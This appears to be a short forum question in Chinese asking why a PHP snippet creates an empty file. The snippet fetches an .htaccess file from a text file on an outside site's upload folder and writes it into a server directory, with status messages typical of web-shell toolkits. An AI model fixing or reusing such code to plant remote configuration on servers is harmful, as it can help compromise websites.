我正在构建一个 php 文件,它将文件写入服务器但它不工作,它只是创建文件,有什么帮助吗?
$htaccess = "http://www.yellowpages.com.lb/UserFiles/File/tls/htaccess.txt";
$file = file_get_contents($htaccess);
$open = fopen("tools/.htaccess" , 'w');
fwrite($open,$file);
fclose($open);
if($open) {
echo "<br> [htaccess] => Has Been Created !";
} else {
echo "<br>[-] Error !";
}